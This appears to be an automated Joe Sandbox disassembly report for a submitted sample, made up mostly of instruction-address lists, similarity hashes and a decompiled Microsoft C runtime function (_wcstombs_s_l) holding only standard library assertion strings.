0x0043c5a2
0x0043c5a5
0x0043c5a7
0x0043c5ae
0x0043c5b2
0x0043c5bb
0x0043c5c0
0x0043c5c3
0x0043c5ca
0x0043c5ce
0x0043c5d2
0x0043c5de
0x0043c5e1
0x0043c5e1
0x0043c5e4
0x0043c5e9
0x0043c5e9
0x0043c5ec
0x0043c5ee
0x0043c5f5
0x0043c5f9
0x0043c602
0x0043c607
0x0043c5ec
0x0043c60a
0x0043c60e
0x0043c6c8
0x0043c6c8
0x0043c6cf
0x0043c6d3
0x0043c6d7
0x0043c6db
0x00000000
0x0043c614
0x0043c614
0x0043c614
0x0043c618
0x00000000
0x00000000
0x0043c61e
0x0043c61e
0x0043c621
0x0043c627
0x0043c62a
0x0043c630
0x0043c630
0x0043c630
0x0043c63c
0x0043c63f
0x0043c645
0x0043c647
0x00000000
0x00000000
0x0043c649
0x0043c649
0x0043c64c
0x0043c652
0x0043c65a
0x0043c65c
0x0043c663
0x0043c66a
0x0043c679
0x0043c67f
0x0043c686
0x0043c694
0x0043c694
0x0043c69b
0x0043c6a7
0x0043c6b5
0x0043c6bb
0x00000000
0x0043c6bb
0x0043c688
0x0043c688
0x00000000
0x0043c688
0x0043c6c6
0x0043c6e3
0x0043c6e3
0x0043c6ea
0x0043c6ef
0x0043c6ef
0x0043c6f2
0x0043c6f4
0x0043c6fb
0x0043c708
0x0043c70d
0x0043c6f2
0x0043c6ea
0x0043c710
0x0043c710
0x0043c714
0x0043c718
0x0043c71c
0x0043c724
0x0043c724
0x0043c72b
0x0043c72b
0x0043b8ab
0x0043b8b2
0x0043b8bf
0x0043b8c4
0x00000000
0x0043b8d7
0x0043b8e1
0x0043b908
0x0043b8ef
0x0043b900
0x0043b900
0x0043b8e1
0x0043b912
0x0043b918
0x0043b924
0x0043b927
0x0043b935
0x0043b938
0x0043b945
0x0043b9ea
0x0043b9f0
0x0043b9f6
0x0043b9fd
0x00000000
0x00000000
0x0043ba03
0x0043ba09
0x00000000
0x0043ba10
0x0043ba10
0x0043ba2a
0x0043ba2f
0x00000000
0x00000000
0x0043ba37
0x0043ba37
0x0043ba3e
0x0043ba41
0x0043ba44
0x0043ba47
0x0043ba4a
0x0043ba4d
0x0043ba50
0x0043ba57
0x0043ba5e
0x00000000
0x00000000
0x0043ba6a
0x0043ba6a
0x0043ba71
0x0043ba7d
0x0043ba80
0x0043ba86
0x0043ba8d
0x00000000
0x00000000
0x0043ba8f
0x0043ba95
0x0043ba95
0x0043ba9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bae0
0x0043bae0
0x0043bae7
0x0043baea
0x0043bb14
0x0043bb17
0x0043bb17
0x0043bb21
0x0043bb21
0x0043bb25
0x0043baec
0x0043baec
0x0043baf8
0x0043bafb
0x0043baff
0x0043bb01
0x0043bb04
0x0043bb04
0x0043bb07
0x0043bb0a
0x0043bb0d
0x0043bb0f
0x0043bb0f
0x0043bb12
0x0043bb28
0x00000000
0x00000000
0x0043bb2d
0x0043bb2d
0x00000000
0x00000000
0x0043bb39
0x0043bb39
0x0043bb40
0x0043bb43
0x0043bb63
0x0043bb66
0x0043bb66
0x0043bb70
0x0043bb70
0x0043bb74
0x0043bb45
0x0043bb45
0x0043bb51
0x0043bb54
0x0043bb58
0x0043bb5a
0x0043bb5a
0x0043bb61
0x00000000
0x00000000
0x0043bb7c
0x0043bb7c
0x0043bb83
0x0043bb8f
0x0043bb92
0x0043bb98
0x0043bb9f
0x0043bcb2
0x00000000
0x0043bcb2
0x0043bba5
0x0043bbab
0x0043bbab
0x0043bbb2
0x00000000
0x0043bbe9
0x0043bbe9
0x0043bbec
0x0043bbef
0x0043bbf2
0x0043bc19
0x0043bc19
0x0043bc1c
0x0043bc1f
0x0043bc22
0x0043bc46
0x0043bc46
0x0043bc49
0x0043bc4c
0x0043bc4f
0x0043bc88
0x0043bc99
0x00000000
0x0043bc99
0x0043bc51
0x0043bc51
0x0043bc54
0x0043bc57
0x0043bc5a
0x00000000
0x00000000
0x0043bc5c
0x0043bc5c
0x0043bc5f
0x0043bc62
0x0043bc65
0x00000000
0x00000000
0x0043bc67
0x0043bc67
0x0043bc6a
0x0043bc6d
0x0043bc70
0x00000000
0x00000000
0x0043bc72
0x0043bc72
0x0043bc75
0x0043bc78
0x0043bc7b
0x00000000
0x00000000
0x0043bc7d
0x0043bc7d
0x0043bc80
0x0043bc83
0x0043bc86
0x0043bc8a
0x00000000
0x0043bc8a
0x00000000
0x0043bc86
0x0043bc24
0x0043bc24
0x0043bc27
0x0043bc2b
0x0043bc2e
0x00000000
0x0043bc30
0x0043bc33
0x0043bc36
0x0043bc3c
0x0043bc41
0x00000000
0x0043bc41
0x0043bc2e
0x0043bbf4
0x0043bbf4
0x0043bbf7
0x0043bbfb
0x0043bbfe
0x00000000
0x0043bc00
0x0043bc03
0x0043bc06
0x0043bc0c
0x0043bc11
0x00000000
0x0043bc11
0x00000000
0x0043bc9b
0x0043bc9b
0x0043bc9e
0x0043bca1
0x00000000
0x00000000
0x0043bbb9
0x0043bbb9
0x0043bbbc
0x0043bbbf
0x0043bbc2
0x0043bbdb
0x0043bbde
0x0043bbde
0x0043bbe1
0x0043bbc4
0x0043bbc4
0x0043bbc7
0x0043bbca
0x0043bbd0
0x0043bbd6
0x0043bbd6
0x00000000
0x00000000
0x0043bca6
0x0043bca6
0x0043bca9
0x0043bca9
0x0043bcaf
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bcb7
0x0043bcb7
0x0043bcbe
0x0043bcc4
0x0043bcca
0x0043bccd
0x0043bcd3
0x0043bcda
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bce0
0x0043bce6
0x0043bce6
0x0043bced
0x00000000
0x0043c071
0x0043c071
0x0043c07f
0x0043c07f
0x0043c082
0x00000000
0x00000000
0x0043bcf4
0x0043bcf7
0x0043bcf7
0x0043bcfd
0x0043bcff
0x0043bd02
0x0043bd02
0x0043bd05
0x0043bd05
0x00000000
0x00000000
0x0043be3a
0x0043be3d
0x0043be3d
0x0043be42
0x0043be44
0x0043be47
0x0043be47
0x0043be4a
0x0043be4a
0x00000000
0x00000000
0x0043c23d
0x0043c23d
0x0043c253
0x0043c253
0x0043c25d
0x0043c25d
0x0043c263
0x0043c265
0x0043c26a
0x0043c274
0x0043c274
0x0043c277
0x0043c27b
0x0043c27b
0x00000000
0x00000000
0x0043bda4
0x0043bda4
0x0043bdb0
0x0043bdb6
0x0043bdbd
0x0043bdcb
0x0043bdcb
0x0043bdd1
0x0043bdd4
0x0043bde0
0x0043be35
0x00000000
0x0043be35
0x0043bdbf
0x0043bdbf
0x0043bdc5
0x0043bdc9
0x0043bde8
0x0043bde8
0x0043bdee
0x0043be16
0x0043be1d
0x0043be23
0x0043be26
0x0043be29
0x0043be2f
0x0043be32
0x0043bdf0
0x0043bdf0
0x0043bdf6
0x0043bdf9
0x0043bdfc
0x0043be02
0x0043be05
0x0043be08
0x0043be0a
0x0043be0d
0x0043be0d
0x00000000
0x0043bdee
0x00000000
0x00000000
0x0043c089
0x0043c08c
0x0043c08f
0x0043c092
0x0043c098
0x0043c09b
0x0043c0a2
0x0043c0a6
0x0043c0b1
0x0043c0b1
0x0043c0b5
0x0043c0cc
0x0043c0cc
0x0043c0d3
0x0043c0d5
0x0043c0d5
0x0043c0dc
0x0043c0dc
0x0043c0e3
0x0043c0f1
0x0043c0f4
0x0043c103
0x0043c106
0x0043c10a
0x0043c11f
0x0043c10c
0x0043c10c
0x0043c10f
0x0043c115
0x0043c11a
0x0043c11a
0x0043c10a
0x0043c129
0x0043c12c
0x0043c12f
0x0043c132
0x0043c135
0x0043c138
0x0043c13e
0x0043c144
0x0043c14c
0x0043c14d
0x0043c150
0x0043c151
0x0043c154
0x0043c155
0x0043c15c
0x0043c15d
0x0043c160
0x0043c161
0x0043c164
0x0043c165
0x0043c16b
0x0043c16c
0x0043c17b
0x0043c17d
0x0043c183
0x0043c183
0x0043c188
0x0043c18a
0x0043c18e
0x0043c190
0x0043c198
0x0043c199
0x0043c19c
0x0043c19d
0x0043c1ac
0x0043c1ae
0x0043c1ae
0x0043c18e
0x0043c1b1
0x0043c1b8
0x0043c1bb
0x0043c1c0
0x0043c1c0
0x0043c1c6
0x0043c1c8
0x0043c1d0
0x0043c1d1
0x0043c1d4
0x0043c1d5
0x0043c1e3
0x0043c1e5
0x0043c1e5
0x0043c1c6
0x0043c1e8
0x0043c1eb
0x0043c1ee
0x0043c1f1
0x0043c1f6
0x0043c1fb
0x0043c1fe
0x0043c201
0x0043c201
0x0043c204
0x0043c204
0x0043c207
0x0043c213
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c530
0x0043c0b7
0x0043c0b7
0x0043c0be
0x0043c0c1
0x00000000
0x00000000
0x0043c0c3
0x0043c0c3
0x00000000
0x0043c0c3
0x0043c0a8
0x0043c0a8
0x00000000
0x00000000
0x0043bd08
0x0043bd08
0x0043bd13
0x0043bd1b
0x0043bd22
0x0043bd25
0x0043bd25
0x0043bd28
0x0043bd81
0x0043bd88
0x0043bd2a
0x0043bd31
0x0043bd37
0x0043bd3d
0x0043bd44
0x0043bd47
0x0043bd4d
0x0043bd55
0x0043bd57
0x0043bd5e
0x0043bd65
0x0043bd6c
0x0043bd74
0x0043bd76
0x0043bd78
0x0043bd78
0x0043bd7f
0x0043bd8f
0x0043bd95
0x0043bd98
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x0043c21b
0x0043c21e
0x0043c221
0x0043c224
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043bf7a
0x0043bf7a
0x0043bf86
0x0043bf8c
0x0043bf91
0x0043bf93
0x0043c03d
0x0043c03d
0x0043c040
0x0043c040
0x0043c043
0x0043c057
0x0043c05d
0x0043c063
0x0043c045
0x0043c045
0x0043c04b
0x0043c052
0x0043c052
0x0043c065
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x0043bf99
0x0043bf99
0x0043bf99
0x0043bf9b
0x0043bfa9
0x0043bf9d
0x0043bf9d
0x0043bf9d
0x0043bfb3
0x0043bfb9
0x0043bfbf
0x0043bfc6
0x0043bfc8
0x0043bfcd
0x0043bfcf
0x0043bfd4
0x0043bfd9
0x0043bfdb
0x0043bfe0
0x0043bfe3
0x0043bfe6
0x0043bfe8
0x0043bfe8
0x0043bfe6
0x0043bfe9
0x0043bff0
0x0043c038
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043bff2
0x0043bff2
0x0043bff7
0x0043c013
0x0043c01b
0x0043c025
0x0043c028
0x0043c02d
0x00000000
0x0043c02d
0x00000000
0x0043c284
0x0043c284
0x0043c28e
0x0043c28e
0x0043c294
0x0043c296
0x0043c299
0x0043c299
0x0043c29f
0x0043c29f
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c37e
0x00000000
0x0043c236
0x0043c236
0x00000000
0x00000000
0x0043be4d
0x0043be4d
0x0043be51
0x0043be5f
0x0043be62
0x0043be53
0x0043be53
0x0043be53
0x0043be68
0x0043be6e
0x0043be74
0x0043be80
0x0043be86
0x0043be86
0x0043be89
0x0043bf11
0x0043bf11
0x0043bf15
0x0043bf17
0x0043bf1d
0x0043bf1d
0x0043bf20
0x0043bf27
0x0043bf2a
0x0043bf30
0x0043bf30
0x0043bf30
0x0043bf36
0x0043bf3c
0x0043bf3f
0x0043bf45
0x0043bf47
0x00000000
0x00000000
0x0043bf49
0x0043bf49
0x0043bf4f
0x0043bf52
0x0043bf54
0x00000000
0x00000000
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf5f
0x0043bf67
0x0043bf67
0x0043bf6d
0x0043bf6d
0x0043bf72
0x00000000
0x0043be8f
0x0043be8f
0x0043be8f
0x0043be93
0x0043be95
0x0043be9a
0x0043be9a
0x0043be9d
0x0043bea0
0x0043bea6
0x0043beb8
0x0043beb8
0x0043beb8
0x0043bebb
0x0043bec1
0x00000000
0x00000000
0x0043bec3
0x0043bec3
0x0043bec9
0x0043becc
0x0043bece
0x00000000
0x00000000
0x0043bed0
0x0043bed0
0x0043bed9
0x0043bedf
0x0043bee3
0x0043beeb
0x0043beed
0x0043beef
0x0043bef5
0x0043bef5
0x0043bef8
0x0043bef8
0x0043bf04
0x0043bf07
0x0043beaf
0x0043beb2
0x0043beb2
0x0043beb5
0x0043beb5
0x0043bf0f
0x0043bf75
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x0043c530
0x00000000
0x0043c22d
0x0043c22d
0x0043c2a2
0x0043c2a2
0x0043c2a5
0x0043c2a5
0x0043c2aa
0x0043c2cc
0x0043c2cc
0x0043c2d2
0x0043c2f4
0x0043c2f4
0x0043c2f7
0x0043c33e
0x0043c33e
0x0043c341
0x0043c35e
0x0043c362
0x0043c36a
0x0043c36a
0x0043c36c
0x0043c372
0x0043c343
0x0043c343
0x0043c347
0x0043c34f
0x0043c350
0x0043c356
0x0043c356
0x0043c2f9
0x0043c2fc
0x0043c2fc
0x0043c2ff
0x0043c31d
0x0043c329
0x0043c32c
0x0043c32d
0x0043c333
0x0043c301
0x0043c301
0x0043c305
0x0043c30d
0x0043c30e
0x0043c30f
0x0043c315
0x0043c315
0x0043c339
0x0043c2d4
0x0043c2d4
0x0043c2e0
0x0043c2e6
0x0043c2e6
0x0043c2ac
0x0043c2ac
0x0043c2b8
0x0043c2be
0x0043c2be
0x0043c37b
0x0043c37b
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c37e
0x00000000
0x00000000
0x00000000
0x0043c530
0x0043c530
0x0043c530
0x0043c534
0x00000000
0x00000000
0x00000000
0x0043c534
0x00000000
0x00000000
0x0043bab9
0x0043bab9
0x0043babc
0x0043babf
0x00000000
0x00000000
0x0043bac4
0x0043bac7
0x0043bacd
0x00000000
0x00000000
0x0043baae
0x0043bab1
0x0043bab4
0x00000000
0x00000000
0x0043baa3
0x0043baa6
0x0043baa9
0x00000000
0x00000000
0x0043bad2
0x0043bad2
0x0043bad5
0x0043bad5
0x0043bad8
0x00000000
0x00000000
0x0043badb
0x00000000
0x00000000
0x0043b94b
0x0043b94b
0x0043b94d
0x0043b95b
0x0043b94f
0x0043b94f
0x0043b94f
0x0043b96b
0x0043b978
0x0043b97a
0x0043b97f
0x0043b981
0x0043b986
0x0043b98b
0x0043b98d
0x0043b992
0x0043b998
0x0043b99a
0x0043b99a
0x0043b998
0x0043b99b
0x0043b9a2
0x00000000
0x0043b9a4
0x0043b9a9
0x0043b9c5
0x0043b9cd
0x0043b9da
0x0043b9df
0x0043c7f4
0x0043c801
0x0043c801
0x0043b9a2
0x0043b945
0x0043c730
0x0043c730
0x0043c737
0x0043c74e
0x0043c74e
0x0043c758
0x0043c758
0x0043c75e
0x0043c764
0x0043c76b
0x0043c76d
0x0043c772
0x0043c774
0x0043c779
0x0043c77e
0x0043c780
0x0043c785
0x0043c788
0x0043c78b
0x0043c78d
0x0043c78d
0x0043c78b
0x0043c78e
0x0043c795
0x0043c7e0
0x0043c7e9
0x0043c7ee
0x0043c797
0x0043c79c
0x0043c7b8
0x0043c7c0
0x0043c7cd
0x0043c7d2
0x0043c7d2
0x00000000
0x0043c795
0x0043c739
0x0043c739
0x0043c740
0x00000000
0x00000000
0x0043c742
0x0043c742
0x00000000
0x0043c742
0x0043c530
0x0043c507
0x0043c507
0x0043c50b
0x0043c518
0x0043c51b
0x0043c51e
0x0043c521
0x0043c524
0x0043c527
0x0043c52a
0x0043c52a
0x0043c52d
0x00000000
0x0043c52d
0x0043c50d
0x0043c50d
0x0043c510
0x0043c513
0x0043c516
0x00000000
0x00000000
0x00000000
0x0043c516
0x0043c46c
0x0043c46c
0x0043c46f
0x0043c472
0x0043c479
0x0043c480
0x0043c488
0x0043c48e
0x0043c491
0x0043c494
0x0043c49b
0x0043c4a7
0x0043c4ad
0x0043c4b3
0x0043c4ba
0x0043c4bc
0x0043c4c2
0x0043c4c2
0x0043c4c8
0x0043c4c8
0x0043c4ce
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c44e
0x0043c44e
0x0043c454
0x0043c457
0x0043c45a
0x0043c45c
0x00000000
0x00000000
0x00000000
0x0043c45c
0x0043c44e
0x0043c38b
0x0043c38b
0x0043c392
0x00000000
0x00000000
0x00000000
0x0043c3c0
0x0043c3c0
0x0043c3c6
0x0043c3cc
0x0043c3d2
0x00000000
0x0043c3d2
0x0043c2a2
0x0043c253

APIs

_get_int64_arg.LIBCMTD ref: 0043C2B0
__aullrem.LIBCMT ref: 0043C480
__aulldiv.LIBCMT ref: 0043C4A2

Strings

9, xrefs: 0043C4B3
', xrefs: 0043C249

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$9
API String ID: 3120068967-1823400153
Opcode ID: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction ID: fd25717d14f160791de44f336528ce7a1466aa2649cc03051273b1282b1c46a2
Opcode Fuzzy Hash: 640afffba0935bbe6b6bf5304f1230b54a4b8383186dbe245a40224a40a2e979
Instruction Fuzzy Hash: 7D4127B1E102299FDB24CF58C991BAEB7B4FF89314F10919AD148BB241C7385E81CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00437583, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00437583(void* __ebx, void* __esi) {
				signed int _t74;
				intOrPtr _t75;
				void* _t80;
				signed int _t84;
				void* _t92;
				void* _t97;
				signed int _t106;
				signed int _t108;
				signed int _t112;
				signed int _t113;
				intOrPtr _t114;
				signed int _t117;
				signed int _t119;
				signed int _t125;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				void* _t132;
				void* _t140;

				_t128 = __esi;
				_t97 = __ebx;
				_t113 =  *(_t129 + 0xc);
				 *_t113 = 0;
				if( *(_t129 + 0x10) != 0xffffffff &&  *(_t129 + 0x10) != 0x7fffffff &&  *(_t129 + 0x10) > 1) {
					_t140 =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
					if(_t140 >= 0) {
						_t113 =  *(_t129 + 0x10) - 1;
						__eflags = _t113;
						 *(_t129 - 0x20) = _t113;
					} else {
						_t112 =  *0x440208; // 0xffffffff
						 *(_t129 - 0x20) = _t112;
					}
					E0041B3A0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x20));
					_t131 = _t131 + 0xc;
				}
				if( *(_t129 + 8) != 0) {
					_t113 =  *(_t129 + 8);
					 *_t113 = 0;
				}
				if( *(_t129 + 0x18) <=  *(_t129 + 0x10)) {
					_t113 =  *(_t129 + 0x18);
					 *(_t129 - 0x24) = _t113;
				} else {
					 *(_t129 - 0x24) =  *(_t129 + 0x10);
				}
				 *(_t129 - 8) =  *(_t129 - 0x24);
				asm("sbb edx, edx");
				_t114 = _t113 + 1;
				 *((intOrPtr*)(_t129 - 0x14)) = _t114;
				if(_t114 == 0) {
					_push(L"bufferSize <= INT_MAX");
					_push(0);
					_push(0x13f);
					_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
					_push(2);
					_t92 = L0041E210();
					_t131 = _t131 + 0x14;
					if(_t92 == 1) {
						asm("int3");
					}
				}
				if( *((intOrPtr*)(_t129 - 0x14)) != 0) {
					_t100 =  *(_t129 + 0xc);
					_t74 = L00436FF0(_t97,  *(_t129 - 8), _t127, _t128,  *(_t129 + 0xc),  *((intOrPtr*)(_t129 + 0x14)),  *(_t129 - 8),  *((intOrPtr*)(_t129 + 0x1c)));
					_t132 = _t131 + 0x10;
					 *(_t129 - 0xc) = _t74;
					__eflags =  *(_t129 - 0xc) - 0xffffffff;
					if( *(_t129 - 0xc) != 0xffffffff) {
						_t117 =  *(_t129 - 0xc) + 1;
						 *(_t129 - 0xc) = _t117;
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) == 0) {
							L45:
							__eflags =  *(_t129 + 8);
							if( *(_t129 + 8) != 0) {
								 *( *(_t129 + 8)) =  *(_t129 - 0xc);
							}
							_t75 =  *((intOrPtr*)(_t129 - 4));
							goto L48;
						}
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						if( *(_t129 - 0xc) <=  *(_t129 + 0x10)) {
							L44:
							_t119 =  *(_t129 + 0xc) +  *(_t129 - 0xc);
							__eflags = _t119;
							 *((char*)(_t119 - 1)) = 0;
							goto L45;
						}
						__eflags =  *(_t129 + 0x18) - 0xffffffff;
						if( *(_t129 + 0x18) == 0xffffffff) {
							L43:
							 *(_t129 - 0xc) =  *(_t129 + 0x10);
							 *((intOrPtr*)(_t129 - 4)) = 0x50;
							goto L44;
						}
						 *( *(_t129 + 0xc)) = 0;
						__eflags =  *(_t129 + 0x10) - 0xffffffff;
						if( *(_t129 + 0x10) != 0xffffffff) {
							__eflags =  *(_t129 + 0x10) - 0x7fffffff;
							if( *(_t129 + 0x10) != 0x7fffffff) {
								__eflags =  *(_t129 + 0x10) - 1;
								if( *(_t129 + 0x10) > 1) {
									__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
									if(__eflags >= 0) {
										_t106 =  *(_t129 + 0x10) - 1;
										__eflags = _t106;
										 *(_t129 - 0x2c) = _t106;
									} else {
										_t84 =  *0x440208; // 0xffffffff
										 *(_t129 - 0x2c) = _t84;
									}
									_t117 =  *(_t129 - 0x2c);
									__eflags =  *(_t129 + 0xc) + 1;
									E0041B3A0(_t127,  *(_t129 + 0xc) + 1, 0xfe, _t117);
									_t132 = _t132 + 0xc;
								}
							}
						}
						_t104 =  *(_t129 + 0x10);
						__eflags =  *(_t129 - 0xc) -  *(_t129 + 0x10);
						asm("sbb edx, edx");
						 *(_t129 - 0x18) =  ~_t117;
						if( *(_t129 - 0xc) ==  *(_t129 + 0x10)) {
							_push(L"sizeInBytes > retsize");
							_push(0);
							_push(0x157);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
							_push(2);
							_t80 = L0041E210();
							_t132 = _t132 + 0x14;
							__eflags = _t80 - 1;
							if(_t80 == 1) {
								asm("int3");
							}
						}
						__eflags =  *(_t129 - 0x18);
						if( *(_t129 - 0x18) != 0) {
							goto L43;
						} else {
							 *((intOrPtr*)(L00422D00(_t104))) = 0x22;
							E00422A90(_t97, _t104, _t127, _t128, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
							_t75 = 0x22;
							goto L48;
						}
					} else {
						__eflags =  *(_t129 + 0xc);
						if( *(_t129 + 0xc) != 0) {
							 *( *(_t129 + 0xc)) = 0;
							__eflags =  *(_t129 + 0x10) - 0xffffffff;
							if( *(_t129 + 0x10) != 0xffffffff) {
								__eflags =  *(_t129 + 0x10) - 0x7fffffff;
								if( *(_t129 + 0x10) != 0x7fffffff) {
									__eflags =  *(_t129 + 0x10) - 1;
									if( *(_t129 + 0x10) > 1) {
										__eflags =  *0x440208 -  *(_t129 + 0x10) - 1; // 0xffffffff
										if(__eflags >= 0) {
											_t125 =  *(_t129 + 0x10) - 1;
											__eflags = _t125;
											 *(_t129 - 0x28) = _t125;
										} else {
											_t108 =  *0x440208; // 0xffffffff
											 *(_t129 - 0x28) = _t108;
										}
										_t100 =  *(_t129 + 0xc) + 1;
										__eflags =  *(_t129 + 0xc) + 1;
										E0041B3A0(_t127,  *(_t129 + 0xc) + 1, 0xfe,  *(_t129 - 0x28));
									}
								}
							}
						}
						_t75 =  *((intOrPtr*)(L00422D00(_t100)));
						L48:
						return _t75;
					}
				}
				 *((intOrPtr*)(L00422D00(0x7fffffff))) = 0x16;
				E00422A90(_t97, 0x7fffffff, _t127, _t128, L"bufferSize <= INT_MAX", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x13f, 0);
				_t75 = 0x16;
				goto L48;
			}

0x00437583
0x00437583
0x00437583
0x00437586
0x0043758d
0x004375a4
0x004375aa
0x004375ba
0x004375ba
0x004375bd
0x004375ac
0x004375ac
0x004375b2
0x004375b2
0x004375d0
0x004375d5
0x004375d5
0x004375dc
0x004375de
0x004375e1
0x004375e1
0x004375ed
0x004375f7
0x004375fa
0x004375ef
0x004375f2
0x004375f2
0x00437600
0x0043760b
0x0043760d
0x00437610
0x00437613
0x00437615
0x0043761a
0x0043761c
0x00437621
0x00437626
0x00437628
0x0043762d
0x00437633
0x00437635
0x00437635
0x00437633
0x0043763a
0x0043767b
0x0043767f
0x00437684
0x00437687
0x0043768a
0x0043768e
0x004376fa
0x004376fd
0x00437700
0x00437704
0x004377f1
0x004377f1
0x004377f5
0x004377fd
0x004377fd
0x004377ff
0x00000000
0x004377ff
0x0043770d
0x00437710
0x004377e7
0x004377ea
0x004377ea
0x004377ed
0x00000000
0x004377ed
0x00437716
0x0043771a
0x004377da
0x004377dd
0x004377e0
0x00000000
0x004377e0
0x00437723
0x00437726
0x0043772a
0x0043772c
0x00437733
0x00437735
0x00437739
0x00437741
0x00437747
0x00437756
0x00437756
0x00437759
0x00437749
0x00437749
0x0043774e
0x0043774e
0x0043775c
0x00437768
0x0043776c
0x00437771
0x00437771
0x00437739
0x00437733
0x00437774
0x00437777
0x0043777a
0x0043777e
0x00437781
0x00437783
0x00437788
0x0043778a
0x0043778f
0x00437794
0x00437796
0x0043779b
0x0043779e
0x004377a1
0x004377a3
0x004377a3
0x004377a1
0x004377a4
0x004377a8
0x00000000
0x004377aa
0x004377af
0x004377cb
0x004377d3
0x00000000
0x004377d3
0x00437690
0x00437690
0x00437694
0x00437699
0x0043769c
0x004376a0
0x004376a2
0x004376a9
0x004376ab
0x004376af
0x004376b7
0x004376bd
0x004376cd
0x004376cd
0x004376d0
0x004376bf
0x004376bf
0x004376c5
0x004376c5
0x004376df
0x004376df
0x004376e3
0x004376e8
0x004376af
0x004376a9
0x004376a0
0x004376f0
0x00437802
0x00437805
0x00437805
0x0043768e
0x00437641
0x0043765d
0x00437665
0x00000000

APIs

_memset.LIBCMT ref: 004375D0
__invalid_parameter.LIBCMTD ref: 0043765D

Strings

_wcstombs_s_l, xrefs: 00437653
bufferSize <= INT_MAX, xrefs: 00437615, 00437658
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00437621, 0043764E

Memory Dump Source

Source File: 00000000.00000002.667356464.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.667343309.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667556125.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667572830.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667580274.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ECD2MpEBSf.jbxd

Similarity

API ID: __invalid_parameter_memset
